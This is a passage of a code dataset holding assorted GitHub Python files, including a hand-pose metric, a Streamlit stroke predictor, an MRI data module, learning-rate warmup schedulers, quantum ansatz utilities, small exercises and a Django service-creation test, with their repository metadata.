np.dot(np.transpose(A - centroid_A), B - centroid_B) / n\n U, s, V = np.linalg.svd(H)\n R = np.dot(np.transpose(V), np.transpose(U))\n if np.linalg.det(R) < 0:\n s[-1] = -s[-1]\n V[2] = -V[2]\n R = np.dot(np.transpose(V), np.transpose(U))\n\n varP = np.var(A, axis=0).sum()\n c = 1/varP * np.sum(s) \n\n t = -np.dot(c*R, np.transpose(centroid_A)) + np.transpose(centroid_B)\n return c, R, t\n\n\ndef rigid_align(A,B):\n c, R, t = rigid_transform_3D(A, B)\n A2 = np.transpose(np.dot(c*R, np.transpose(A))) + t\n return A2\n\n\ndef eval_hand(preds_joint,gts_root_joint,gts_hand_type,gts_joints_coord_cam,hand_eval_result):\n sample_num = len(preds_joint)\n for n in range (sample_num):\n pred_joint = preds_joint[n]\n gt_hand_type = gts_hand_type[n]\n gt_root_joint = gts_root_joint[n].detach().cpu().numpy()\n gt_joints_coord_cam = gts_joints_coord_cam[n].detach().cpu().numpy()\n\n # root centered\n #\\u5df2\\u5728mano_ho3d\\u5c42\\u505a\\u8fc7\n\n # flip back to left hand\n if gt_hand_type == 'left':\n pred_joint[:,0] *= -1\n\n # root align\n pred_joint += gt_root_joint\n\n # GT and rigid align\n joints_out_aligned = rigid_align(pred_joint, gt_joints_coord_cam)\n\n #m to mm\n pred_joint *= 1000\n joints_out_aligned *= 1000\n gt_joints_coord_cam *= 1000\n\n \n #[mpjpe_list, pa-mpjpe_list]\n hand_eval_result[0].append(np.sqrt(np.sum((pred_joint - gt_joints_coord_cam)**2,1)).mean())\n hand_eval_result[1].append(np.sqrt(np.sum((joints_out_aligned - gt_joints_coord_cam)**2,1)).mean())\n\n return hand_eval_result\n\n\n\n ","repo_name":"lzfff12/HFL-Net","sub_path":"utils/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":9387,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"3"} +{"seq_id":"11099225871","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jul 15 08:34:29 2022\r\n\r\n@author: YUSUF\r\n\"\"\"\r\n\r\nimport streamlit as st\r\nimport pickle\r\nimport pandas as pd\r\n\r\n\r\nstroke_status_predictor = open('stroke_status_predictor.pkl','rb')\r\nclassifier = pickle.load(stroke_status_predictor)\r\n\r\ndef stroke_predict(gender,age,hypertension,heart_disease,ever_married,work_type,Residence_type,avg_glucose_level,bmi,smoking_status):\r\n df = pd.DataFrame({'gender':gender, 'age':age, 'hypertension':hypertension, 'heart_disease':\r\n heart_disease, 'ever_married':ever_married,'work_type':work_type, \r\n 'Residence_type':Residence_type, 'avg_glucose_level':avg_glucose_level, \r\n 'bmi':bmi,'smoking_status':smoking_status},index=pd.Series(1))\r\n return classifier.predict(df)\r\n\r\n \r\ndef main():\r\n st.title('Stroke Status Predictor')\r\n \r\n \r\n gender = st.radio('Gender',['Male','Female','Other'])\r\n if gender == 'Male':\r\n gender = 1\r\n elif gender == 'Female':\r\n gender = 0\r\n else:\r\n gender = 2\r\n \r\n age = st.number_input('Age',min_value=0,max_value=100)\r\n \r\n hypertension = st.radio('Hypertensive',['Yes','No'])\r\n if hypertension == 'Yes':\r\n hypertension = 1\r\n else:\r\n hypertension = 0\r\n \r\n heart_disease = st.radio('Do you have any Heart Disease?',['Yes','No'])\r\n if heart_disease == 'Yes':\r\n heart_disease = 1\r\n else:\r\n heart_disease = 0\r\n \r\n ever_married = st.radio('Ever Married',['Yes','No'])\r\n if ever_married == 'Yes':\r\n ever_married = 1\r\n else:\r\n ever_married = 0\r\n \r\n work_type = st.radio('Work Nature',['Private','Self Employed','Children','Government Job','Never Worked'])\r\n if work_type == 'Private':\r\n work_type = 2\r\n elif work_type == 'Self Employed':\r\n work_type = 3\r\n elif work_type == 'Children':\r\n work_type = 4\r\n elif work_type == 'Government Job':\r\n work_type = 0\r\n else:\r\n work_type = 1\r\n \r\n Residence_type = st.radio('Residence Type',['Urban','Rural'])\r\n if Residence_type == 'Urban':\r\n Residence_type = 1\r\n else:\r\n Residence_type = 0\r\n \r\n bmi = st.slider('Body Mass Index',0,39,25)\r\n \r\n avg_glucose_level = st.slider('Average Glucose Level',20,280,100)\r\n \r\n smoking_status = st.radio('Smoking Status',['Smokes','Formerly smokes','Never smoked','Unknown'])\r\n if smoking_status == 'Smokes':\r\n smoking_status = 3\r\n elif smoking_status == 'Formerly smokes':\r\n smoking_status = 1\r\n elif smoking_status == 'Never smoked':\r\n smoking_status = 2\r\n else:\r\n smoking_status = 0\r\n \r\n result = ''\r\n if st.button('Predict'):\r\n result = stroke_predict(gender,age,hypertension,heart_disease,\r\n ever_married,work_type,Residence_type,\r\n avg_glucose_level,bmi,smoking_status)\r\n\r\n if result == 1: \r\n st.success('You are likely to have stroke')\r\n else:\r\n st.success('You are not likely to have stroke')\r\n \r\n\r\nif __name__=='__main__':\r\n main()","repo_name":"Yusuf-Olaniyi/Stroke_Status","sub_path":"stroke_status_predictor.py","file_name":"stroke_status_predictor.py","file_ext":"py","file_size_in_byte":3151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34667440132","text":"import tensorflow as tf\n\na = tf.constant(2, tf.int16, name='a')\nb = tf.constant(3, tf.int16, name='b')\nc = tf.constant(4, tf.int16, name='c')\n\nwith tf.name_scope('add_function') as scope:\n add = tf.add(a, b)\n tf.summary.scalar(\"addition\", add)\n\nwith tf.name_scope('mult_function') as scope:\n mul = tf.multiply(add, c)\n tf.summary.scalar(\"multiplication\", mul)\n\n\n# Merge all summaries into a single operator\nmerged_summary_op = tf.summary.merge_all()\n\nwith tf.Session() as sess:\n summary_writer = tf.summary.FileWriter('/tmp/tensorflow/pom', graph=tf.get_default_graph())\n result, mulResult, summary_str = sess.run([add, mul, merged_summary_op])\n summary_writer.add_summary(summary_str, mulResult)\n print(result)","repo_name":"LublinIT/tensorflow-basics","sub_path":"05-log-results.py","file_name":"05-log-results.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37891319054","text":"# 输入两个正整数计算它们的最大公约数和最小公倍数\nint1 = int(input('请输入正整数1:'))\nint2 = int(input('请输入正整数2:'))\n\n# 如果int1大于int2就交换int1和int2的值\nif int1 > int2:\n # 通过下面的操作将y的值赋给x, 将x的值赋给y\n int1, int2 = int2, int1\n# 从两个数中较小的数开始做递减的循环\nfor max_factor in range(int1, 0, -1):\n if int1 % max_factor == 0 and int2 % max_factor == 0:\n print('%d和%d的最大公约数是%d' % (int1, int2, max_factor))\n print('%d和%d的最小公倍数是%d' % (int1, int2, int1 * int2 // max_factor))\n break\n\n","repo_name":"XianpengChen/pythonProject","sub_path":"Day04/exercise02.py","file_name":"exercise02.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22649701110","text":"import pytorch_lightning as pl\nfrom pathlib import Path\nfrom argparse import ArgumentParser\nfrom typing import Callable\nfrom torch.utils.data import DataLoader, DistributedSampler\nfrom CMRxRecon.data.mri_data import CMRxReconDataset\n\nfrom pytorch_lightning.utilities.types import EVAL_DATALOADERS, TRAIN_DATALOADERS\nfrom joblib import Parallel, delayed\nfrom joblib.externals.loky.backend.context import get_context #for window multi-worker only\n\n\nclass CMRxReconDataModule(pl.LightningDataModule):\n \"\"\"\n Data module class for CMRxRecon challenge 2023.\n\n This class handles configuration for traning on CMRxRecon data.\n \"\"\"\n def __init__(\n self,\n data_path: Path,\n train_transform: Callable,\n val_transform: Callable,\n challenge: str = 'SingleCoil',\n task: str = 'Cine',\n sub_task: str = 'all',\n acceleration: int = 4,\n use_dataset_cache_file: bool = True, #not recommaned to use option: False\n batch_size: int = 1,\n num_workers: int = 4,\n distributed_sampler: bool = False,\n ):\n \"\"\"\n Args:\n data_path: Path to root data directory.\n train_transform: Callable; A tranform object for the training data.\n val_transform: Callable; A transform object for the validation data. \n challenge: Name of challenge from ('SingleCoil','MultiCoil').\n task: Name of task from ('Cine','Mapping').\n sub_task: Name of sub_task for 'Cine' from ('lax','sax','all')\n acceleration: Acceleration factor for sub_task, e.g. 4,8,10 for 'Cine'\n use_dataset_cache_file: bool; if dataset_cache is used.\n batch_size: Batch size.\n num_workers: Number of workers in PyTorch dataloader.\n distributed_sampler: Whether to use a distributed sampler. This should be set\n True if training with ddp \n \"\"\"\n super().__init__()\n\n self.data_path = data_path\n self.train_transform = train_transform\n self.val_transform = val_transform\n self.challenge = challenge\n self.task = task\n self.sub_task = sub_task\n self.acceleration = acceleration\n self.use_dataset_cache_file = use_dataset_cache_file\n self.batch_size = batch_size\n self.num_workers = num_workers\n self.distributed_sampler = distributed_sampler\n \n def _create_data_loader(\n self,\n data_transform: Callable,\n data_partition: str)->DataLoader:\n dataset = CMRxReconDataset(\n root = self.data_path,\n challenge = self.challenge,\n task = self.task,\n subtask = self.sub_task,\n mode = data_partition,\n acceleration = self.acceleration,\n transform = data_transform)\n \n sampler = None\n if self.distributed_sampler:\n if data_partition == 'train':\n sampler = DistributedSampler(dataset)\n \n dataloader = DataLoader(dataset,\n batch_size=self.batch_size,\n num_workers=self.num_workers,\n sampler=sampler,\n shuffle = True if data_partition == 'train' else False,\n multiprocessing_context= get_context('loky'),\n pin_memory=True)\n return dataloader\n\n def train_dataloader(self) -> TRAIN_DATALOADERS:\n return self._create_data_loader(self.train_transform,data_partition='train')\n \n def val_dataloader(self) -> EVAL_DATALOADERS:\n return self._create_data_loader(self.val_transform,data_partition='validation')\n \n # def test_dataloader(self) -> EVAL_DATALOADERS:\n # return self._create_data_loader(self.)\n \n @staticmethod\n def add_data_specific_args(parent_parser):\n \"\"\"\n Define parameters that apply to the data\n \"\"\"\n parser = ArgumentParser(parents=[parent_parser], add_help=False)\n\n #dataset argumenets\n parser.add_argument(\n '--data_path',\n default = None,\n type = Path,\n help = \"Path to CMRxRecon data root\"\n )\n parser.add_argument(\n '--challenge',\n choices = ('SingleCoil','MultiCoil'),\n default= 'SingleCoil',\n type = str,\n help = 'Wich challeneg to preprocess for.'\n )\n parser.add_argument(\n '--task',\n choices=('Cine','Mapping'),\n default='Cine',\n type = str,\n help = 'Which task to preprocess for.'\n )\n parser.add_argument(\n '--sub_task',\n choices=('sax','lax','all','T1map','T2map'),\n default= 'all',\n type = str,\n help = \"Which sub_task to preprocess for.\"\n )\n parser.add_argument(\n '--acceleration',\n choices=(4,8,10),\n default=4,\n type=int,\n help=\"Which acceleration for subtask.\"\n )\n parser.add_argument(\n '--use_dataset_cache_file',\n default=True,\n type = bool,\n help = \"If init dataset by using dataset cache.\"\n )\n parser.add_argument(\n '--batch_size',\n default=1,\n type=int,\n help=\"Data loader batch size\"\n )\n parser.add_argument(\n '--num_workers',\n default = 4,\n type=int,\n help='Number of workers to use in data loader'\n )\n\n return parser","repo_name":"15625148866/CMRxRecon","sub_path":"CMRxReconDemo/Python/PythonRecon/CMRxRecon/pl_modules/data_module.py","file_name":"data_module.py","file_ext":"py","file_size_in_byte":5717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"29101138795","text":"import math\nfrom contextlib import contextmanager\nfrom torch.optim import Optimizer\n\n\nclass BaseWarmup(object):\n \"\"\"Base class for all warmup schedules\n\n Arguments:\n optimizer (Optimizer): an instance of a subclass of Optimizer\n warmup_params (list): warmup paramters\n last_step (int): The index of last step. (Default: -1)\n \"\"\"\n\n def __init__(self, optimizer, warmup_params, last_step=-1):\n if not isinstance(optimizer, Optimizer):\n raise TypeError('{} is not an Optimizer'.format(\n type(optimizer).__name__))\n self.optimizer = optimizer\n self.warmup_params = warmup_params\n self.last_step = last_step\n self.lrs = [group['lr'] for group in self.optimizer.param_groups]\n self.dampen()\n\n def state_dict(self):\n \"\"\"Returns the state of the warmup scheduler as a :class:`dict`.\n\n It contains an entry for every variable in self.__dict__ which\n is not the optimizer.\n \"\"\"\n return {key: value for key, value in self.__dict__.items() if key != 'optimizer'}\n\n def load_state_dict(self, state_dict):\n \"\"\"Loads the warmup scheduler's state.\n\n Arguments:\n state_dict (dict): warmup scheduler state. Should be an object returned\n from a call to :meth:`state_dict`.\n \"\"\"\n self.__dict__.update(state_dict)\n\n def dampen(self, step=None):\n \"\"\"Dampen the learning rates.\n\n Arguments:\n step (int): The index of current step. (Default: None)\n \"\"\"\n if step is None:\n step = self.last_step + 1\n self.last_step = step\n\n for group, params in zip(self.optimizer.param_groups, self.warmup_params):\n omega = self.warmup_factor(step, **params)\n group['lr'] *= omega\n\n @contextmanager\n def dampening(self):\n for group, lr in zip(self.optimizer.param_groups, self.lrs):\n group['lr'] = lr\n yield\n self.lrs = [group['lr'] for group in self.optimizer.param_groups]\n self.dampen()\n\n def warmup_factor(self, step, **params):\n raise NotImplementedError\n\n\ndef get_warmup_params(warmup_period, group_count):\n if type(warmup_period) == list:\n if len(warmup_period) != group_count:\n raise ValueError(\n 'size of warmup_period does not equal {}.'.format(group_count))\n for x in warmup_period:\n if type(x) != int:\n raise ValueError(\n 'An element in warmup_period, {}, is not an int.'.format(\n type(x).__name__))\n warmup_params = [dict(warmup_period=x) for x in warmup_period]\n elif type(warmup_period) == int:\n warmup_params = [dict(warmup_period=warmup_period)\n for _ in range(group_count)]\n else:\n raise TypeError('{} is not a list nor an int.'.format(\n type(warmup_period).__name__))\n return warmup_params\n\n\nclass LinearWarmup(BaseWarmup):\n \"\"\"Linear warmup schedule.\n\n Arguments:\n optimizer (Optimizer): an instance of a subclass of Optimizer\n warmup_period (int or list): Warmup period\n last_step (int): The index of last step. (Default: -1)\n \"\"\"\n\n def __init__(self, optimizer, warmup_period, last_step=-1):\n group_count = len(optimizer.param_groups)\n warmup_params = get_warmup_params(warmup_period, group_count)\n super(LinearWarmup, self).__init__(optimizer, warmup_params, last_step)\n\n def warmup_factor(self, step, warmup_period):\n return min(1.0, (step+1) / warmup_period)\n\n\nclass ExponentialWarmup(BaseWarmup):\n \"\"\"Exponential warmup schedule.\n\n Arguments:\n optimizer (Optimizer): an instance of a subclass of Optimizer\n warmup_period (int or list): Effective warmup period\n last_step (int): The index of last step. (Default: -1)\n \"\"\"\n\n def __init__(self, optimizer, warmup_period, last_step=-1):\n group_count = len(optimizer.param_groups)\n warmup_params = get_warmup_params(warmup_period, group_count)\n super(ExponentialWarmup, self).__init__(optimizer, warmup_params, last_step)\n\n def warmup_factor(self, step, warmup_period):\n return 1.0 - math.exp(-(step+1) / warmup_period)\n","repo_name":"Tony-Y/pytorch_warmup","sub_path":"pytorch_warmup/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":4294,"program_lang":"python","lang":"en","doc_type":"code","stars":317,"dataset":"github-code","pt":"3"} +{"seq_id":"3462818738","text":"'''\nTools for manipulation with ansatzes and Hessian calculations\n'''\n\n\nimport numpy as np\nimport elementaries as el\nimport itertools\n\ndef QSA_paulis(string):\n '''\n Creates a pauli string identifier, corresponding to a QSA YXX string, given the list of positions of paulis in that string.\n '''\n lis=[]\n switch=0\n \n\n for element in string:\n\n if switch == 1:\n lis+=[[element,1]]\n\n if switch == 0:\n lis+=[[element, 2]]\n switch+=1\n \n\n return(lis)\n\ndef k0_subsets(k0):\n '''\n Returns subsets of k0 elements from the ordered list of qubits (from 1 to N)\n ''' \n\n #some extra massaging performed, so that a list of lists is returned\n \n return(list(map(list,itertools.combinations(list(range(el.number_of_qubits)),k0))))\n\ndef k0QSA(k0):\n '''\n Creates a list of pauli string identifiers, corresponding to a k0-quantum subset ansatz. This means that all the QSA gates of order k0 are used. \n ''' \n \n return(list(map(QSA_paulis, k0_subsets(k0))))\n\ndef kQSA(k, reverse=False):\n '''\n Creates a list of pauli string identifiers, corresponding to a k-quantum subset ansatz. This means that all the QSA gates of order smaller or equal to k are used, and its canonical form is sustained.\n ''' \n lis=[]\n for k0 in range(1,k+1):\n lis+=k0_subsets(k0)\n \n #sorting everything according to full-QSA prescription: finding the right reordering\n ind=[]\n \n for element in lis:\n ind+=[element[0]]\n \n if reverse==False:\n ind=np.array(ind).argsort()[::-1]\n else:\n ind=np.array(ind).argsort()\n\n lis=list(np.array(lis)[ind])\n \n return(list(map(QSA_paulis, lis)))\n\ndef customQSA(diagram_list):\n \n lis=diagram_list.copy()\n \n ind=[]\n \n for element in lis:\n ind+=[element[0]]\n \n ind=np.array(ind).argsort()[::-1]\n \n lis=list(np.array(lis)[ind])\n \n return(list(map(QSA_paulis, lis)))\n \n \n\ndef ansatz_operator(list_of_strings, list_of_thetas):\n '''\n Returns an ansatz operator at a given value of parameters.\n \n Inputs a list of pauli string identifiers, which defines an ansatz, and ansatz parameter values list_of_thetas. \n '''\n operator=el.identity\n \n for i in range(len(list_of_strings)):\n operator=el.string_iexp(list_of_strings[i], list_of_thetas[i]).dot(operator)\n \n return(operator)\n\ndef ansatz_state(list_of_strings, list_of_thetas, in_state=el.default_state):\n '''\n Returns a quantum state, generated by an ansatz operator at a given value of parameters.\n \n Inputs:\n \n -a list of pauli string identifiers, which defines an ansatz\n -ansatz parameter values list_of_thetas\n -if needed, an initial computational basis state encoded in a bitstring; its complex prefactor\n '''\n \n out_state=in_state\n \n for i in range(len(list_of_strings)):\n out_state=el.string_iexp(list_of_strings[i], list_of_thetas[i]).dot(out_state)\n \n return(out_state)\n\ndef theta_derivative_computation(list_of_strings, list_of_thetas, modified_in_state, theta_modification):\n '''\n Calculates a derivative w.r.t. theta_j of some ansatz-generated state. The resulting state is calculated as an action of the same ansatz on a modified initial state, with modified set of thetas (some thetas are inverted, i.e. changed to minus thetas). To generate proper input of initial data, use theta_derivative_preparation.\n \n list list_of_strings - list of string identifiers corresponding to the ansatz\n \n list list_of_thetas - ansatz parameter values \n \n int list theta_modification - a list that identifies which thetas have to be inverted during the computation\n \n modified_in_state_bitstring, modified_in_state_prefactor - specifications of a modified initial state\n \n ''' \n \n effective_thetas=list( map( lambda x,y: x*(-1)**y, list_of_thetas, theta_modification) )\n \n return(ansatz_state(list_of_strings, effective_thetas, modified_in_state) )\n\n\ndef theta_derivative_preparation(j, list_of_string_ids, in_state=el.default_state, theta_modification=np.array(None)):\n '''\n Prepares necessary information to calculate a derivative w.r.t. theta_j of some ansatz-generated state. The current implementation assumes ansatzes which only have Ys and Xs in their Pauli strings (i.e. QSA's). \n \n Output:\n \n int list new_theta_modification - a list that identifies which thetas have to be inverted for the computation\n \n new_in_state_bitstring, new_in_state_prefactor - specifications of a modified initial state\n \n Input: \n \n integer j - the index number of theta\n \n list list_of_strings - list of string identifiers corresponding to the ansatz\n \n int list theta_modification - a list that identifies which thetas, if any, were to be inverted in preparation of an old state\n \n in_state_bitstring, in_state_prefactor - specifications of an initial state\n\n '''\n if theta_modification.any()==None:\n theta_modification=np.zeros(len(list_of_string_ids), dtype='int')\n \n# In what follows, simply in_state_prefactor*=1j would be wrong, since we may have -i*theta in the exponent, because of previous theta inversions.\n# Without this correction, the matrix of state's second derivatives will not be symmetric. \n \n new_theta_modification=theta_modification.copy() \n\n #checking, which Paulis anticommute and which commute, and noting down which theta's therefore have to be inverted\n \n for i in range(j):\n for pauli in list_of_string_ids[i]:\n for ppauli in list_of_string_ids[j]:\n new_theta_modification[i]=np.mod(new_theta_modification[i]+int((pauli[0]==ppauli[0])&(pauli[1]!=ppauli[1])),2)\n \n list_of_strings=el.list_of_strings(list_of_string_ids)\n \n new_in_state=1j*((-1)**theta_modification[j])*(list_of_strings[j].dot(in_state))\n \n return(new_in_state, new_theta_modification)\n\ndef hessian_computation(observable, list_of_strings, list_of_thetas, first_derivatives_prepared, second_derivatives_prepared):\n \n state=ansatz_state(list_of_strings, list_of_thetas)\n \n hessian_computed=[[None for i in range(len(list_of_strings))] for j in range(len(list_of_strings))]\n \n for i in range(len(list_of_strings)):\n for j in range(len(list_of_strings)):\n \n data_i=first_derivatives_prepared[i]\n data_j=first_derivatives_prepared[j]\n data_ij=second_derivatives_prepared[i][j]\n \n state_i=theta_derivative_computation(list_of_strings, list_of_thetas, data_i[0], data_i[1])\n state_j=theta_derivative_computation(list_of_strings, list_of_thetas, data_j[0], data_j[1])\n state_ij=theta_derivative_computation(list_of_strings, list_of_thetas, data_ij[0], data_ij[1])\n \n hess=2*np.real(state_i.dot(observable.dot(state_j))+state.dot(observable.dot(state_ij)))\n hessian_computed[i][j]=hess\n \n return(np.array(hessian_computed))\n\ndef jacobian_computation(observable, list_of_strings, list_of_thetas, first_derivatives_prepared):\n \n state=ansatz_state(list_of_strings, list_of_thetas)\n \n jacobian_computed=[None for i in range(len(list_of_strings))]\n \n for i in range(len(list_of_strings)):\n data_i=first_derivatives_prepared[i]\n state_i=theta_derivative_computation(list_of_strings, list_of_thetas, data_i[0], data_i[1])\n jac=np.real(state.dot(observable.dot(state_i))+state_i.dot(observable.dot(state)))\n jacobian_computed[i]=jac\n \n return(np.array(jacobian_computed))\n\ndef hessian_preparation(list_of_string_ids, in_state=el.default_state):\n \n first_derivatives=[None for i in range(len(list_of_string_ids))]\n \n for j in range(len(list_of_string_ids)):\n first_derivatives[j]=(theta_derivative_preparation(j, list_of_string_ids, in_state))\n \n second_derivatives=[[None for i in range(len(list_of_string_ids))] for j in range(len(list_of_string_ids))]\n \n for i in range(len(list_of_string_ids)):\n for j in range(len(list_of_string_ids)):\n (inst, tmod)=theta_derivative_preparation(j, list_of_string_ids, in_state)\n second_derivatives[i][j]=theta_derivative_preparation(i, list_of_string_ids, inst, tmod)\n \n \n return(first_derivatives,second_derivatives)\n\n\n ","repo_name":"tarrlikh/Strategies_thesis","sub_path":"Chapter_5/ansatzes.py","file_name":"ansatzes.py","file_ext":"py","file_size_in_byte":8471,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"4309383423","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 22 11:46:44 2020\n\n@author: DIPTIMAN\n\"\"\"\n\nn=int(input(\"Enter the number(greater than 2): \"))\nif n>=2:\n factor=2\n num=n\n while(num>1):\n if(num%factor==0):\n print(factor)\n num=num//factor\n else:\n factor+=1\n \n \nelse:\n print(\"The number entered is less than 2\")\n","repo_name":"Diptiman1999/Data-Mining-Lab-Assignments","sub_path":"Assignment 1/Q10.py","file_name":"Q10.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13064348884","text":"class Queue:\n def __init__(self, length=100):\n self.max_length = length\n self.queue = []\n\n def push(self, element):\n if self.full():\n self.pop()\n\n if element not in self.queue:\n self.queue.append(element)\n\n def pop(self):\n return self.queue.pop(0)\n\n def full(self):\n return len(self.queue) >= self.max_length\n\n def __len__(self):\n return len(self.queue)\n\n def __iter__(self):\n for i in self.queue:\n yield i\n\n\nif __name__ == '__main__':\n queue = Queue(length=20)\n\n queue.push(10)\n queue.push(9)\n\n p = queue.pop()\n\n assert p == 10\n\n p = queue.pop()\n\n assert p == 9\n\n queue.push(10)\n queue.push(9)\n\n for i in range(99):\n queue.push(0)\n\n assert len(queue) == 3\n\n p = queue.pop()\n\n assert p == 10\n\n for i in queue: print(i)\n\n print('test done!')\n\n","repo_name":"fortyMiles/get_douban_comments","sub_path":"fifo_q.py","file_name":"fifo_q.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"29265153476","text":"spellcheking = set()\nwords_count = int(input())\nprinted = set()\nfor i in range(words_count):\n spellcheking.add(input().lower())\n\ntest_text_count = int(input())\nfor line in range(test_text_count):\n text = input()\n for i in text.lower().split():\n if i not in spellcheking and i not in printed:\n print(i)\n printed.add(i)\n","repo_name":"dmitryzhurkovsky/stepik","sub_path":"spellchecking.py","file_name":"spellchecking.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29862252946","text":"import torch\nimport data_setup\nimport model_builder\nimport engine\nimport utils\nfrom torchvision import transforms\nfrom pathlib import Path\nimport argparse\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser(description='Script train model TinyVGG')\n parser.add_argument('--batch_size', type=int, default=32,\n help='Batch size for training and testing')\n parser.add_argument('--hidden_units', type=int, default=10,\n help='Number of hidden units in the model')\n parser.add_argument('--lr', type=float, default=0.001,\n help='Learning rate for the optimizer')\n parser.add_argument('--num_epochs', type=int, default=1,\n help='Number of epochs for training')\n\n args = parser.parse_args()\n return args\n\n\ndef main():\n # Parse arguments\n args = parse_arguments()\n HIDDEN_UNITS = args.hidden_units\n NUM_EPOCHS = args.num_epochs\n BATCH_SIZE = args.batch_size\n LEARNING_RATE = args.lr\n\n # Setup dir\n data_path = Path(\"data/\")\n image_path = data_path / \"pizza_steak_sushi\"\n train_dir = image_path / \"train\"\n test_dir = image_path / \"test\"\n\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n # Create transform\n data_transform = transforms.Compose([\n transforms.Resize((64, 64)),\n transforms.ToTensor()\n ])\n\n # Create dataloaders\n train_dataloader, test_dataloader, class_names = data_setup.create_dataloaders(train_dir=train_dir, # noqa 5501\n test_dir=test_dir, # noqa 5501\n transform=data_transform, # noqa 5501\n batch_size=BATCH_SIZE) # noqa 5501\n\n model = model_builder.TinyVGG(\n input_shape=3,\n hidden_units=HIDDEN_UNITS,\n output_shape=len(class_names)).to(device)\n\n loss_fn = torch.nn.CrossEntropyLoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=LEARNING_RATE)\n\n engine.train(model=model,\n train_dataloader=train_dataloader,\n test_dataloader=test_dataloader,\n optimizer=optimizer,\n loss_fn=loss_fn,\n epochs=NUM_EPOCHS,\n device=device)\n\n # utils.save_model(model=model,\n # target_dir=\"../models\",\n # model_name=\"tinyVGG_model_5_epochs.pth\")\n\n model.load_state_dict(torch.load(\"models/tinyVGG_model_5_epochs.pth\"))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Matthev00/Pytorch_learning","sub_path":"going_modular/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32350285052","text":"class Solution:\n def longestContinuousSubstring(self, s: str) -> int:\n #do again\n cur = 1 ### We are currently at 0 position, so the length is 1.\n res = 1 ### At least the string should contain 1 letter.\n for i in range(1,len(s)):\n \t### If the ith letter is continued from the previous letter, \n \t### update the curLength and store the maximum length to res\n if ord(s[i])-ord(s[i-1])==1:\n cur = cur+1\n res = max(cur,res)\n ### This is the start of a new substring with length 1.\n else:\n cur = 1\n return res\n ","repo_name":"mayank9200/My_codes","sub_path":"2414-length-of-the-longest-alphabetical-continuous-substring/2414-length-of-the-longest-alphabetical-continuous-substring.py","file_name":"2414-length-of-the-longest-alphabetical-continuous-substring.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29026136297","text":"import pytest\nfrom django.core.urlresolvers import reverse\nfrom simplejson import loads\nfrom common import factories\nfrom mock import patch\n\n\npytestmark = [pytest.mark.django_db]\n\n\n@pytest.fixture\ndef base_data_serv(settings):\n factories.ServiceTypeFactory(code='undefined')\n root = factories.ServiceFactory(name='Root service', slug=settings.ABC_DEFAULT_SERVICE_PARENT_SLUG,\n path='/%s/' % settings.ABC_DEFAULT_SERVICE_PARENT_SLUG)\n\n service1 = factories.ServiceFactory(name='service1', slug='slug1', path='/slug1/')\n\n service2 = factories.ServiceFactory(name='service2', slug='slug2', path='/slug1/slug2/')\n service2.parent = service1\n service2.save()\n\n management_scope = factories.RoleScopeFactory(slug='management')\n product_head = factories.RoleFactory(\n name='Руководитель сервиса',\n name_en='Head',\n scope=management_scope,\n code='product_head',\n )\n development_scope = factories.RoleScopeFactory(slug='development')\n developer = factories.RoleFactory(\n name='Разработчик',\n name_en='Developer',\n scope=development_scope,\n service=service1,\n )\n support_scope = factories.RoleScopeFactory(slug='support')\n support = factories.RoleFactory(name='Поддержка', name_en='Support', scope=support_scope)\n\n return {\n 'root': root,\n 'service1': service1,\n 'service2': service2,\n 'product_head': product_head,\n 'support': support,\n 'developer': developer,\n }\n\n\ndef test_create_service(base_data_serv, client, person):\n url = reverse('services:service_create')\n with patch('plan.idm.manager.Manager._run_request') as mock_request:\n client.json.post(url, {\n 'owner': person.pk,\n 'slug': 'service3',\n 'name': {'ru': 'Сервис 3', 'en': 'Service 3'},\n 'move_to': base_data_serv['service2'].pk,\n }).json()\n\n assert mock_request.call_count == 10\n\n # Проверка поддерева ролей\n expected_calls = [\n 'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/',\n 'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/service3_key/',\n 'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/service3_key/*/',\n 'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/service3_key/*/role/',\n 'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/service3_key/*/role/1/',\n 'https://idm-api.test.yandex-team.ru/api/v1/rolenodes/abc_dev/type/services/services_key/meta_other/meta_other_key/service3/service3_key/*/role/2/',\n 